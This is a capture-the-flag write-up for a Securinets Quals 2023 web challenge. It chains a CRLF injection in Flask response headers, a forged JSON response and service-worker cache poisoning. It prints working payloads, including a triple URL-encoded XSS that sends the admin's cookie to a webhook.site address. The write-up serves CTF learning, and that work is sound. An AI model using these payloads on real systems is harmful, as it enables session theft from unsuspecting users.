Securinets Quals 2023

Time 9 minute read

Exploit a CRLF vulnerability within the Flask method for setting response headers. Then, create a malicious JSON HTTP response that contains an XSS payload. Finally, use the service worker to store our XSS exploit in the cache and distribute it through a different page.

xanhacks

The Securinets CTF is a yearly Tunisian CTF splitted into online qualifiers and an onsite final. I participated with the Hexagon team. We managed to finish 3rd out of 114 teams, which allowed us to access the final in Tunisia and get our accomodations fees paid for!

This writeup will focus on a web challenge I worked on with my teammates xanhacks and xThaz. I’m only going to explain very breifly the underlying technologies, as this article would be way longer then it needs to be. I’m going to present the challenge from a participant’s point of view, and how I found the different parts of the solution by poking around. If you want a more detailed explanation of each part of the architecture, you can read the official writeup by the challenge maker.

This challenge ended it up with 11 solves, and was worth 484 points (500 being the maximum, and 100 the minimum).

Flag in admin cookie… Good luck!

We are provided with the following python backend script:

The web application is relatively simple. It has 3 pages:

  • /: The main page, which allows us to report a URL to the admin bot.
    Main page
    Main page
  • /securinets: The page greets us and calls us Stranger
    Securinets page
    Securinets page
  • /helloworld: The page also greets us, calls us stranger, but displays a token as well.
    Hello world page
    Hello world page

As we can suspect, our goal is to trigger an XSS to steal the admin’s cookie when he opens the link we send over, let’s try to find the page that would allow us to do so.

Let’s take a look at the source code of both possible pages.

/securinets:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width" />
    <script type="text/javascript" src="purify.js"></script>
</head>

<body>
    <script>
        const endpointUrl = 'https://testnos.e-health.software/securinets';

        fetch(endpointUrl)
            .then(response => {
                if (!response.ok) {
                    throw new Error(`Network response was not ok: ${response.status}`);
                }
                return response.json();
            })
            .then(data => {
                console.log('Parsed JSON data:', data);
                var paragraphElement = document.createElement('p');
                var text = data['message']
                //purify text
                const clean = DOMPurify.sanitize(text)
                var textNode = document.createTextNode(clean);
                paragraphElement.appendChild(textNode);
                document.body.appendChild(paragraphElement);
            })
            .catch(error => {
                console.error('Fetch error:', error);
            });

    </script>
</body>

</html>

/helloworld:

<!DOCTYPE html>
<html lang="en">

<head>
    <meta charset="utf-8" />
    <meta http-equiv="X-UA-Compatible" content="IE=edge" />
    <meta name="viewport" content="width=device-width" />
    <script type="text/javascript" src="purify.js"></script>
</head>

<body>

    <script>
        const endpointUrl = 'https://testnos.e-health.software/GetToken';

        fetch(endpointUrl)
            .then(response => {
                if (!response.ok) {
                    throw new Error(`Network response was not ok: ${response.status}`);
                }
                return response.json();
            })
            .then(data => {
                console.log('Parsed JSON data:', data);
                var token = data['token']
                var user = data['user']
                //const clean = DOMPurify.sanitize(user)
                document.body.innerHTML = "hey " + user + " this is your token: " + token
            })
            .catch(error => {
                console.error('Fetch error:', error);
            });

    </script>
</body>

</html>

As you can see, the structure of both pages is the same.

  1. Make a call to an endpoint at https://testnos.e-health.software/ (which is the backend server)
  2. Extract data from the response
  3. Display it

However, the major difference is that the sanitization process is commented out for the user value received from the server for /helloworld. This hints towards the fact that this is the place to trigger our XSS.

Now that we know where the payload must show up on the frontend part, let’s take a look at the backend to see how we can get our payload in the user field of the response.

The function that is the most interesting to us is the get_token function:

@app.route('/GetToken', methods=['GET', 'OPTIONS'])
def get_token():

    if request.method == "OPTIONS":
        return '', 200, headers

    try:
        new_header: dict[str, str | bytes] = dict(headers)
        userid = request.args.get("userid")

        if not userid:
            return jsonify({'error': 'Missing userid'}), 400, headers

        if userid in user_tokens:
            token = user_tokens[userid]
        else:
            token = generate_token()
            user_tokens[userid] = token
        new_header["Auth-Token-" +
                   userid] = token

        return jsonify({'token': token, 'user': str(escape(userid))[:110]}), 200, new_header

    except Exception as e:
        return jsonify({'error': f'Something went wrong {e}'}), 500, headers

This function gets the userid from the request parameters and checks if it already encounterd that userid. If so, it returns the token associated to that user. If not, it defines a new one, saves it, and returns its value.

As you can see, the userid, which is the value we are interested in as it’s not going to be sanitized on the client side, is escaped using the Flask.escape function. There is no known bypass for this function.

However, the userid is used at another place in the code, and is not escaped this time. Indeed, if we take a look at these lines, we can see that it’s directly injected into the header part of the response:

new_header["Auth-Token-" +
          userid] = token

The intended behaviour is to have a custom header containaing the userid value (if the user is called user1, the header will be Auth-token-user1).

If we play around with this endpoint in burp, and keeping in mind that we can use this unfiltered userid, we easily find a CRLF injection vulnerability. Here is a normal request to the backend for user:

Normal request to /GetToken
Normal request to /GetToken

Now if we throw some CRLF characters in there to craft a new header, here is what we get:

CRLF injection
CRLF injection

As you can see, by setting the userid value to user:%20WZJ4W819zGJa%0D%0AInjected-Header, we get this result.

...
Auth-Token-User: WZJ4W819zGJa
Injected-Header: sQcVXPIQZeF3
...

If you didn’t know, %20 is a URL encoded space, and %0D%0A is a URL encoded CRLF sequence.

In this context, injecting new headers is not of much use. However, we can exploit this vulnerability by injecting a double CRLF sequence to break out of the header part and inject our own response. This way, the client will get the response in the correct format ({"token": "", "user": ""}), but thoses values will not have been sanitized.

Here is an example with a simple payload:

Payload:
user:%20WZJ4W819zGJa%0D%0A%0D%0A{%22token%22:%22WZJ4W819zGJa%22,%22user%22:%22%3Cscript%3Ealert(1)%3Cscript%3E%22}%0D%0A%0D%0A

URL decoded:
user: WZJ4W819zGJa

{"token":"WZJ4W819zGJa","user":"<script>alert(1)<script>"}

Injection of an entier response payload
Injection of an entier response payload

Now you can notice that in the response, the actual payload and the Connection header are sent back as well. This is an issue because it results in malformed json that the client will not be able to parse, thus preventing the XSS from triggering.

The way I bypassed this restriction was by padding the token value, until the size of my json payload matched the size of the payload sent back by the server. The easiest way of determining this is by trying it out locally.

Let’s add a real XSS payload, that would actually send us the flag, and add padding in the token (represented by A) accordingly.

Payload:
%75%73%65%72%3a%20%57%5a%4a%34%57%38%31%39%7a%47%4a%61%0a%0a%7b%22%74%6f%6b%65%6e%22%3a%22%57%5a%4a%34%57%38%31%39%7a%47%4a%61%41%41%41%41%41%22%2c%22%75%73%65%72%22%3a%22%3c%69%6d%67%20%73%72%63%3d%27%27%20%6f%6e%65%72%72%6f%72%3d%6c%6f%63%61%74%69%6f%6e%2e%68%72%65%66%3d%27%2f%2f%77%65%62%68%6f%6f%6b%2e%73%69%74%65%2f%64%62%65%35%63%62%34%62%2d%32%34%33%30%2d%34%64%38%33%2d%62%31%38%36%2d%35%30%64%37%65%63%62%31%63%34%37%34%3f%66%3d%27%2b%64%6f%63%75%6d%65%6e%74%2e%63%6f%6f%6b%69%65%3e%22%7d%0a%0a%0a

URL decoded:
user: WZJ4W819zGJa

{"token":"WZJ4W819zGJaAAAAA","user":"<img src='' onerror=location.href='//webhook.site/dbe5cb4b-2430-4d83-b186-50d7ecb1c474?f='+document.cookie>"}

Injection of an entier response payload
Injection of an entier response payload

The final question is how are we going to serve this exploit to the frontend, since when we go the /helloworld, we get the token for the user Stranger.

If you take a look at the source code for the main page (where you can report a URL), it looks like this.

 const ServiceWorkerReg = async () => {
      console.log("[ServiceWorkerReg] enter")
      if ('serviceWorker' in navigator) {
        console.log("[ServiceWorkerReg] serviceworker in navigator")
        try {
          const params = new URLSearchParams(window.location.search);
          console.log("[ServiceWorkerReg] registering")

          const reg = await navigator.serviceWorker.register(
            `sw.js?user=${params.get("user") ?? 'stranger'}`,
            {
              scope: './',
            }
          );
          loaded = true;
          console.log("[ServiceWorkerReg] registered")
          console.log(reg)
          if (reg.installing) {
            console.log('Service worker installing');
          } else if (reg.waiting) {
            console.log('Service worker installed');
          } else if (reg.active) {
            console.log('Service worker active');
          }
        } catch (error) {
          console.error(`Registration failed with ${error}`);
        }
      }
      else {
        console.log("browser doesn't support sw")
      }
    };

This code registers a Service Worker, and passes it either the value of the user parameter, or stranger if the parameter is not present. I won’t dive in too deep into what a Service Worker is, but it’s basically a proxy running in a sandboxed seperate thread, that can manipulate HTTP traffic. It’s used to implement offline capabilities, push notifications, caching, and more.

I won’t go throught the entier service worker code either, since it’s pretty long. But the most intersting part are the first 3 lines.

const params = new URLSearchParams(self.location.search)
const userId = params.get("user")
const serverURL = `https://testnos.e-health.software/GetToken?userid=${userId}`;

As you can see, we are recovering the passed parameter, and setting the server URL to the /GetToken endpoint, with the userid parameter set to the value of the user parameter. The rest of the script defines functions for caching and making request to the backend.

Let’s try to change the default stranger value.

  1. Visit /?user=user1
  2. Hard reload to stop already running service workers (CTRL+F5)
  3. Visit /helloworld

This time, we are greeted as user1.

Hello world page as user1 instead of stranger
Hello world page as user1 instead of stranger

With that in mind, the attack plan is simple:

  1. Put the payload we created earlier in the admin’s cache by submitting /?user=<payload>
  2. Trigger the payload by submitting /helloworld

However this didn’t work, and after some debugging, I noticed that my %0A characters that are new line characters where filtered out. Even after double URL encoding. This is because our payload goes through the URLSearchParams function twice, which URL decodes it. The first time when the service worker is registered, and the second time when the serverURL is set inside the service worker.

So triple URL Encoding our payload should do the trick.

Here is the final payload!

Submit the this URL to put the exploit in cache on the admin’s browser:

https://escape.nzeros.me/?user=%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%33%25%36%31%25%32%35%25%33%32%25%33%30%25%32%35%25%33%35%25%33%37%25%32%35%25%33%35%25%36%31%25%32%35%25%33%34%25%36%31%25%32%35%25%33%33%25%33%34%25%32%35%25%33%35%25%33%37%25%32%35%25%33%33%25%33%38%25%32%35%25%33%33%25%33%31%25%32%35%25%33%33%25%33%39%25%32%35%25%33%37%25%36%31%25%32%35%25%33%34%25%33%37%25%32%35%25%33%34%25%36%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%30%25%36%31%25%32%35%25%33%30%25%36%31%25%32%35%25%33%37%25%36%32%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%36%31%25%32%35%25%33%32%25%33%32%25%32%35%25%33%35%25%33%37%25%32%35%25%33%35%25%36%31%25%32%35%25%33%34%25%36%31%25%32%35%25%33%33%25%33%34%25%32%35%25%33%35%25%33%37%25%32%35%25%33%33%25%33%38%25%32%35%25%33%33%25%33%31%25%32%35%25%33%33%25%33%39%25%32%35%25%33%37%25%36%31%25%32%35%25%33%34%25%33%37%25%32%35%25%33%34%25%36%31%25%32%35%25%33%36%25%33%31%25%32%35%25%33%34%25%33%31%25%32%35%25%33%34%25%33%31%25%32%35%25%33%34%25%33%31%25%32%35%25%33%34%25%33%31%25%32%35%25%33%34%25%33%31%25%32%35%25%33%32%25%33%32%25%32%35%25%33%32%25%36%33%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%33%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%36%31%25%32%35%25%33%32%25%33%32%25%32%35%25%33%33%25%36%33%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%37%25%33%33%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%33%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%33%30%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%36%25%33%35%25%32%35%25%33%37%25%33%32%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%36%36%25%32%35%25%33%37%25%33%32%25%32%35%25%33%33%25%36%34%25%32%35%25%33%36%25%36%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%31%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%35%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%38%25%32%35%25%33%37%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%36%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%36%25%32%35%25%33%32%25%36%36%25%32%35%25%33%37%25%33%37%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%33%38%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%32%25%36%35%25%32%35%25%33%37%25%33%33%25%32%35%25%33%36%25%33%39%25%32%35%25%33%37%25%33%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%32%25%36%36%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%33%32%25%32%35%25%33%36%25%33%35%25%32%35%25%33%33%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%33%25%33%34%25%32%35%25%33%36%25%33%32%25%32%35%25%33%32%25%36%34%25%32%35%25%33%33%25%33%32%25%32%35%25%33%33%25%33%34%25%32%35%25%33%33%25%33%33%25%32%35%25%33%33%25%33%30%25%32%35%25%33%32%25%36%34%25%32%35%25%33%33%25%33%34%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%33%38%25%32%35%25%33%33%25%33%33%25%32%35%25%33%32%25%36%34%25%32%35%25%33%36%25%33%32%25%32%35%25%33%33%25%33%31%25%32%35%25%33%33%25%33%38%25%32%35%25%33%33%25%33%36%25%32%35%25%33%32%25%36%34%25%32%35%25%33%33%25%33%35%25%32%35%25%33%33%25%33%30%25%32%35%25%33%36%25%33%34%25%32%35%25%33%33%25%33%37%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%33%32%25%32%35%25%33%33%25%33%31%25%32%35%25%33%36%25%33%33%25%32%35%25%33%33%25%33%34%25%32%35%25%33%33%25%33%37%25%32%35%25%33%33%25%33%34%25%32%35%25%33%33%25%36%36%25%32%35%25%33%36%25%33%36%25%32%35%25%33%33%25%36%34%25%32%35%25%33%32%25%33%37%25%32%35%25%33%32%25%36%32%25%32%35%25%33%36%25%33%34%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%33%33%25%32%35%25%33%37%25%33%35%25%32%35%25%33%36%25%36%34%25%32%35%25%33%36%25%33%35%25%32%35%25%33%36%25%36%35%25%32%35%25%33%37%25%33%34%25%32%35%25%33%32%25%36%35%25%32%35%25%33%36%25%33%33%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%36%25%32%35%25%33%36%25%36%32%25%32%35%25%33%36%25%33%39%25%32%35%25%33%36%25%33%35%25%32%35%25%33%33%25%36%35%25%32%35%25%33%32%25%33%32%25%32%35%25%33%37%25%36%34%25%32%35%25%33%30%25%36%31

which triple URL decoded equals to:

https://escape.nzeros.me/?user=user: WZJ4W819zGJa

{"token":"WZJ4W819zGJaAAAAA","user":"<img src='' onerror=location.href='//webhook.site/dbe5cb4b-2430-4d83-b186-50d7ecb1c474?f='+document.cookie>"}

Then, immediatly submit the helloworld URL to trigger the exploit while it’s in cache.

https://escape.nzeros.me/helloworld

TADAA! Securinets{Great_escape_with_Crlf_in_latest_werkzeug_header_key_&&_cache_poison}

It was a very intersting challenge. I’m not usually the one doing web challenges, so I might have struggled more than I should have, but I for sure learned a lot and had a lot of fun (for most of the time, less at 3am when I was seing % signs everywhere).

Thanks a lot to my teammates who helped me with this challenge, and to the Securinets team for organizing this CTF!